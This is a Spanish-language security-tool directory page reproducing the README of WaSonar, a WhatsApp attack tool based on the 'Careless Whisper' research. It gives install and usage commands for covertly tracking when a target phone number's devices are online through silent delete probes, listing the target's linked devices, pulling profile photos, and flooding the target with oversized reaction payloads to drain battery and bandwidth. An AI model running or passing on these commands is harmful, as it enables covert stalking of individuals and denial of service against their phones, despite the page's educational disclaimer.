Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/ajayantoisdev/wasonar
OSINT (Inteligencia de Fuentes Abiertas)ReconocimientoAnálisis de VulnerabilidadesExplotaciónRecopilación de InformaciónPruebas de PenetraciónSeguridad MóvilPrivacidad
GitHubajayantoisdev/wasonar

WaSonar

Herramienta de Inteligencia y Agotamiento de Recursos de WhatsApp. Incluye seguimiento de dispositivos en tiempo real, sondeo RTT silencioso y pruebas de estrés de protocolo para investigación de seguridad.

Ver Repositorio
515hace 8 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
WaSonar — Herramienta de Inteligencia y Agotamiento de Recursos de WhatsApp. Incluye seguimiento de dispositivos en tiempo real, sondeo RTT silencioso y pruebas de estrés de protocolo para investigación de seguridad. | Kitploit
Logo de WaSonar captura de pantalla

License Version Node.js

Aviso: Esta herramienta es únicamente para fines educativos e investigación en seguridad. Los desarrolladores no se responsabilizan por su mal uso. Úsala de manera responsable y ética.

WaSonar es una potente herramienta CLI diseñada para investigación educativa, seguimiento de dispositivos y pruebas de estrés en el protocolo de WhatsApp. Construida sobre Baileys.

Características • Instalación • Uso


Características

  • Seguimiento de dispositivos en tiempo real: Detecta el estado exacto en línea/fuera de línea de todos los dispositivos vinculados (Teléfono, Web, Escritorio).
  • Descubrimiento de dispositivos: Lista todos los dispositivos vinculados a un número objetivo (Teléfono principal + dispositivos acompañantes).
  • Extracción de perfil: Obtén fotos de perfil, información de estado/about y JIDs.
  • Agotamiento de recursos: Sobrecarga los dispositivos usando cargas útiles de reacción sobredimensionadas (modos Agresivo/Lento).

Instalación

Via NPM (Recomendado)

root@kitploit:~
npm install -g wasonar-cli

Via NPX (Sin necesidad de instalación)

root@kitploit:~
npx wasonar-cli <comando>

Desde el código fuente

root@kitploit:~
git clone https://github.com/AjayAntoIsDev/wasonar.git
cd wasonar
npm install

Uso

1. Iniciar sesión

Primero, debes autenticarte con una cuenta de WhatsApp.

root@kitploit:~
wasonar-cli login

Escanea el código QR que aparece en tu terminal.

2. Descubrimiento de dispositivos

Lista todos los dispositivos conectados a un número objetivo.

root@kitploit:~
wasonar-cli devices <número-objetivo>

# Ejemplo:
wasonar-cli devices 919876543210

3. Estado en línea y RTT

La función principal. Envía sondas silenciosas para detectar si los dispositivos están en línea y medir la latencia.

root@kitploit:~
# Sondear un número infinito de veces (por defecto)
wasonar-cli online 919876543210

# Enviar un número específico de sondas
wasonar-cli online 919876543210 --probes 5

# Guardar resultados en un archivo
wasonar-cli online 919876543210 --output ./logs

Nota: PENDIENTE/FUERA DE LÍNEA significa que el servidor recibió el mensaje, pero el dispositivo objetivo no confirmó la recepción.

4. Extracción de perfil

Obtén la foto de perfil y el estado del usuario.

root@kitploit:~
# Mostrar información y descargar la foto de perfil
wasonar-cli profile 919876543210 --output ./profiles

5. Agotamiento de recursos

⚠️ SOLO PARA USO EDUCATIVO. Envía cargas útiles sobredimensionadas de alta frecuencia.

root@kitploit:~
# Modo agresivo (Por defecto: 250 req/s, payload de 1KB)
wasonar-cli exhaust 919876543210

# Modo lento (10 req/s, payload de 500B)
wasonar-cli exhaust 919876543210 --aggression slow

# Establecer duración
wasonar-cli exhaust 919876543210 --duration 30

Metodología

Sondas silenciosas

WaSonar utiliza "Sondas de Eliminación Silenciosa" para detectar el estado en línea sin alertar al objetivo.

  1. Envía un mensaje revocado (eliminación) para un ID de mensaje inexistente.
  2. El dispositivo objetivo recibe esta solicitud de "eliminación".
  3. Si está en línea, el dispositivo envía un delivery_receipt (estado 3) para el mensaje de protocolo.
  4. WaSonar captura este recibo para confirmar el estado en línea y calcular el RTT.

Ataque de agotamiento

Basado en la investigación "Careless Whisper", este ataque explota la brecha de validación en el manejo de reacciones de WhatsApp.

Detalles técnicos

Aunque las reacciones no se muestran en el teléfono del objetivo si son inválidas, igual se reciben y procesan.

  • Límites de payload: Los servidores de WhatsApp permiten cargas útiles de reacción de hasta 1 MB.
  • Procesamiento: El cliente intenta procesar estos mensajes antes de descartarlos (límite ~30 bytes para visualización válida), consumiendo recursos.

Análisis de impacto

Los datos de investigación indican un potencial significativo para el agotamiento de recursos:

  • Inflación de tráfico: Una sola sesión puede generar ~3.7 MB/s (13.3 GB/hora) de tráfico encubierto.
  • Consumo de batería: El procesamiento rápido de estos mensajes puede drenar 14-18% de batería por hora en teléfonos inteligentes modernos (probado en iPhone 13 Pro, S23) mientras el dispositivo está en espera.
  • Denegación de servicio: El consumo de ancho de banda puede provocar denegación de servicio para otras aplicaciones en el dispositivo de la víctima.

Citación

Basado en la investigación de Gegenhuber et al., Universidad de Viena & SBA Research:

root@kitploit:~
@inproceedings{gegenhuber2024careless,
  title={Careless Whisper: Exploiting Silent Delivery Receipts to Monitor Users on Mobile Instant Messengers},
  author={Gegenhuber, Gabriel K. and G{\"u}nther, Maximilian and Maier, Markus and Judmayer, Aljosha and Holzbauer, Florian and Frenzel, Philipp {\'E}. and Ullrich, Johanna},
  year={2024},
  organization={University of Vienna, SBA Research}
}

Creado por AjayAnto

Descargar herramienta